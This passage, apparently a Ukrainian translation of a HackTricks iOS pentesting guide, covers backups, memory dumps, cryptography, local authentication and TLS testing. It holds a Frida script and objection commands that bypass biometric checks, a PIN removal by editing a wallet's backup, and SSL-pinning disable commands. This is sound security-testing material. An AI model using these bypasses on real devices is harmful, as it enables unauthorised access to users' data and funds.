Файли в Documents/ та Library/Application Support/ за замовчуванням включаються в резервні копії. Розробники можуть виключати певні файли або директорії з резервних копій, використовуючи NSURL setResourceValue:forKey:error: з ключем NSURLIsExcludedFromBackupKey. Ця практика є критично важливою для захисту чутливих даних від включення до резервних копій.

Тестування на вразливості

Щоб оцінити безпеку резервних копій додатка, почніть зі створення резервної копії за допомогою Finder, а потім знайдіть її, скориставшись інструкцією з офіційної документації Apple. Проаналізуйте резервну копію на предмет чутливих даних або конфігурацій, які можна змінити, щоб вплинути на поведінку додатка.

Чутливу інформацію можна шукати за допомогою інструментів командного рядка або програм, таких як iMazing. Для зашифрованих резервних копій наявність шифрування можна підтвердити, перевіривши ключ “IsEncrypted” у файлі “Manifest.plist” в корені резервної копії.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

Щоб працювати з зашифрованими резервними копіями, можуть стати в нагоді Python-скрипти з DinoSec’s GitHub repo, такі як backup_tool.py і backup_passwd.py, хоча можливо знадобляться корективи для сумісності з останніми версіями iTunes/Finder. Іншим варіантом доступу до файлів у захищених паролем бекапах є iOSbackup tool.

Зміна поведінки додатка

Приклад зміни поведінки додатка через модифікацію бекапу показано в Bither bitcoin wallet app, де UI lock PIN зберігається у net.bither.plist під ключем pin_code. Видалення цього ключа з plist і відновлення бекапу прибирає вимогу PIN, надаючи необмежений доступ.

Підсумок щодо тестування пам’яті на наявність чутливих даних

Коли маєте справу з чутливою інформацією, збереженою в пам’яті додатка, важливо мінімізувати час її експозиції. Існує два основні підходи до дослідження вмісту пам’яті: створення дампу пам’яті та аналіз пам’яті в реальному часі. Обидва методи мають свої складнощі, включаючи ризик пропустити критичні дані під час створення дампу або аналізу.

Отримання та аналіз дампу пам’яті

Як для jailbroken, так і для non-jailbroken пристроїв, інструменти на кшталт objection і Fridump дозволяють отримати дамп процесної пам’яті додатка. Після створення дампу для аналізу цих даних використовуються різні інструменти, залежно від типу інформації, яку шукаєте.

Щоб витягти рядки з дампу пам’яті, можна використовувати команди, такі як strings або rabin2 -zz:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

Для детальнішого аналізу, включно з пошуком певних типів даних або шаблонів, radare2 пропонує розширені можливості пошуку:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

Аналіз оперативної пам’яті під час виконання

r2frida надає потужну альтернативу для інспекції пам’яті додатку в реальному часі, без потреби в memory dump. Цей інструмент дозволяє виконувати search commands безпосередньо в пам’яті запущеного додатку:

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

Неправильна криптографія

Неналежні процеси керування ключами

Деякі розробники зберігають конфіденційні дані в local storage і шифрують їх ключем, який є hardcoded/predictable у коді. Так робити не слід, бо reversing може дозволити зловмисникам витягти конфіденційну інформацію.

Використання небезпечних та/або застарілих алгоритмів

Розробникам не слід використовувати застарілі алгоритми для виконання авторизаційних перевірок, для зберігання або відправлення даних. Деякі з таких алгоритмів: RC4, MD4, MD5, SHA1… Якщо для зберігання паролів використовуються hashes, слід застосовувати brute-force resistant алгоритми з salt.

Перевірка

Основні перевірки — це пошук hardcoded паролів/секретів у коді, чи вони є predictable, а також чи використовує код якісь weak cryptography алгоритми.

Цікаво знати, що можна автоматично monitor деякі crypto libraries за допомогою objection з:

ios monitor crypt

For more information about iOS cryptographic APIs and libraries access https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

Локальна автентифікація

Локальна автентифікація відіграє вирішальну роль, особливо коли йдеться про захист доступу на віддаленому кінці за допомогою криптографічних методів. Суть у тому, що без належної реалізації механізми локальної автентифікації можна обійти.

Apple’s Local Authentication framework and the keychain provide robust APIs for developers to facilitate user authentication dialogs and securely handle secret data, respectively. The Secure Enclave secures fingerprint ID for Touch ID, whereas Face ID relies on facial recognition without compromising biometric data.

To integrate Touch ID/Face ID, developers have two API choices:

  • LocalAuthentication.framework for high-level user authentication without access to biometric data.
  • Security.framework for lower-level keychain services access, securing secret data with biometric authentication. Various open-source wrappers make keychain access simpler.

Caution

However, both LocalAuthentication.framework and Security.framework present vulnerabilities, as they primarily return boolean values without transmitting data for authentication processes, making them susceptible to bypassing (refer to Don’t touch me that way, by David Lindner et al).

Реалізація локальної автентифікації

Щоб запросити автентифікацію користувача, розробники повинні використовувати метод evaluatePolicy класу LAContext, обираючи між:

  • deviceOwnerAuthentication: викликає запит Touch ID або коду доступу пристрою; зазнає невдачі, якщо жодне з них не ввімкнено.
  • deviceOwnerAuthenticationWithBiometrics: викликає запит виключно для Touch ID.

Успішна автентифікація вказується булевим значенням, що повертається evaluatePolicy, що підкреслює потенційну вразливість.

Локальна автентифікація з використанням keychain

Реалізація локальної автентифікації в iOS-додатках передбачає використання keychain APIs для безпечного зберігання секретних даних, таких як токени автентифікації. Цей процес гарантує, що дані можуть бути доступні лише користувачем, використовуючи код доступу пристрою або біометричну автентифікацію, наприклад Touch ID.

keychain надає можливість встановлювати елементи з атрибутом SecAccessControl, який обмежує доступ до елемента до тих пір, поки користувач успішно не пройде автентифікацію через Touch ID або код доступу пристрою. Ця функція є критичною для підвищення безпеки.

Наведено приклади коду на Swift та Objective-C, які демонструють, як зберегти та отримати рядок у/з keychain, використовуючи ці функції безпеки. Приклади показують, як налаштувати access control, щоб вимагати автентифікацію через Touch ID та забезпечити доступність даних лише на пристрої, на якому вони були встановлені, за умови, що на пристрої налаштовано код доступу.

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

Тепер ми можемо запросити збережений елемент з keychain. Keychain services відобразять діалог автентифікації користувачу та повернуть дані або nil залежно від того, чи був наданий відповідний fingerprint чи ні.

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

Виявлення

Використання frameworks у app також можна виявити, проаналізувавши список shared dynamic libraries бінарного файлу. Це можна зробити за допомогою otool:

$ otool -L <AppName>.app/<AppName>

Якщо LocalAuthentication.framework використовується в додатку, у виводі будуть обидва наступні рядки (пам’ятайте, що LocalAuthentication.framework використовує Security.framework під капотом):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

If Security.framework is used, only the second one will be shown.

Обхід LocalAuthentication Framework

Objection

За допомогою Objection Biometrics Bypass, доступного на this GitHub page, можна обійти механізм LocalAuthentication.

Суть цього підходу полягає у використанні Frida для модифікації функції evaluatePolicy, щоб вона постійно повертала True, незалежно від фактичного успіху аутентифікації. Це особливо корисно для обходу ненадійної біометричної аутентифікації.

Щоб активувати цей обхід, використовується наступна команда:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

Ця команда запускає послідовність, в якій Objection реєструє завдання, що фактично змінює результат перевірки evaluatePolicy на True.

Frida

Приклад використання evaluatePolicy з DVIA-v2 application:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Щоб досягти bypass Local Authentication, написано Frida script. Цей script націлюється на перевірку evaluatePolicy, перехоплюючи її callback, щоб гарантувати, що вона повертає success=1. Змінюючи поведінку callback, перевірка автентифікації фактично обходиться (bypass).

Скрипт нижче інжектується для зміни результату методу evaluatePolicy. Він змінює результат callback так, щоб він завжди вказував на успіх.

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Щоб inject the Frida script і bypass біометричну автентифікацію, використовується така команда:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

Викриття чутливої функціональності через IPC

iOS Custom URI Handlers / Deeplinks / Custom Schemes

iOS Universal Links

UIActivity Sharing

iOS UIActivity Sharing

UIPasteboard

iOS UIPasteboard

App Extensions

iOS App Extensions

WebViews

iOS WebViews

Serialisation and Encoding

iOS Serialisation and Encoding

Мережеве спілкування

Важливо перевірити, що жодна комунікація не відбувається без шифрування і також що додаток правильно перевіряє сертифікат TLS сервера.
Для перевірки таких проблем можна використовувати проксі, наприклад Burp:

iOS Burp Suite Configuration

Перевірка hostname

Поширена проблема при валідації сертифіката TLS — перевірити, що сертифікат підписаний довіреним CA, але не перевіряти, чи hostname сертифіката відповідає хосту, до якого здійснюється доступ.
Щоб перевірити цю проблему за допомогою Burp, після довірення Burp CA на iPhone можна створити новий сертифікат у Burp для іншого hostname і використати його. Якщо додаток і далі працює, то він вразливий.

Certificate Pinning

Якщо додаток правильно використовує SSL Pinning, то він працюватиме лише тоді, коли сертифікат — саме той, що очікується. Під час тестування це може створювати проблему, оскільки Burp подаватиме власний сертифікат.
Щоб обійти цей захист на jailbroken-пристрої, можна встановити додаток SSL Kill Switch або встановити Burp Mobile Assistant

Також можна використати objection ios sslpinning disable

Різне

  • У /System/Library можна знайти фреймворки, встановлені в телефоні та використовувані системними додатками
  • Додатки, встановлені користувачем з App Store, знаходяться в /User/Applications
  • А /User/Library містить дані, збережені додатками на рівні користувача
  • Ви можете отримати доступ до /User/Library/Notes/notes.sqlite, щоб прочитати нотатки, збережені в додатку.
  • У папці встановленого додатка (/User/Applications/<APP ID>/) можна знайти деякі цікаві файли:
  • iTunesArtwork: Іконка, яку використовує додаток
  • iTunesMetadata.plist: Інформація про додаток, використовувана в App Store
  • /Library/*: Містить налаштування та кеш. У /Library/Cache/Snapshots/* можна знайти знімок, зроблений додатком перед відправкою його у фоновий режим.

Hot Patching/Enforced Updateing

Розробники можуть віддалено підправити всі інсталяції свого додатку миттєво без необхідності повторно надсилати додаток у App Store та чекати затвердження.
Для цього зазвичай використовують JSPatch. Але існують й інші варіанти, такі як Siren та react-native-appstore-version-checker.
Це небезпечний механізм, який може бути зловживаний шкідливими сторонніми SDK, тому рекомендовано перевірити, який метод використовується для автоматичного оновлення (якщо взагалі) і протестувати його. Для цього можна спробувати завантажити попередню версію додатку.

Third Parties

Суттєвою проблемою з 3rd party SDKs є відсутність тонкого контролю над їхніми функціональностями. Розробники стикаються з вибором: або інтегрувати SDK і погоджуватися на всі його можливості, включно з потенційними вразливостями безпеки та ризиками приватності, або зовсім відмовитися від його переваг. Часто розробники не в змозі самостійно виправити вразливості в цих SDK. Більше того, коли SDK набувають довіри в спільноті, деякі з них можуть почати містити шкідливе ПЗ.

Послуги, які надають сторонні SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення UX. Це вводить ризик, оскільки розробники можуть не повністю усвідомлювати код, що виконується цими бібліотеками, що призводить до потенційних ризиків приватності та безпеки. Вкрай важливо обмежити інформацію, яку передають стороннім сервісам, лише необхідними даними і переконатися, що жодні чутливі дані не розкриваються.

Впровадження сторонніх сервісів зазвичай буває в двох формах: окрема бібліотека або повноцінний SDK. Щоб захистити приватність користувачів, будь-які дані, що передаються цим сервісам, повинні бути анонімізовані, щоб запобігти розкриттю Personal Identifiable Information (PII).

Щоб визначити бібліотеки, які використовує додаток, можна застосувати команду otool. Цю утиліту слід запускати проти самого додатка та кожної спільної бібліотеки, яку він використовує, щоб виявити додаткові бібліотеки.

otool -L <application_path>

Цікаві вразливості та кейс-дослідження

Air Keyboard Remote Input Injection

Itunesstored Bookassetd Sandbox Escape

Zero Click Messaging Image Parser Chains

Посилання та додаткові ресурси

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks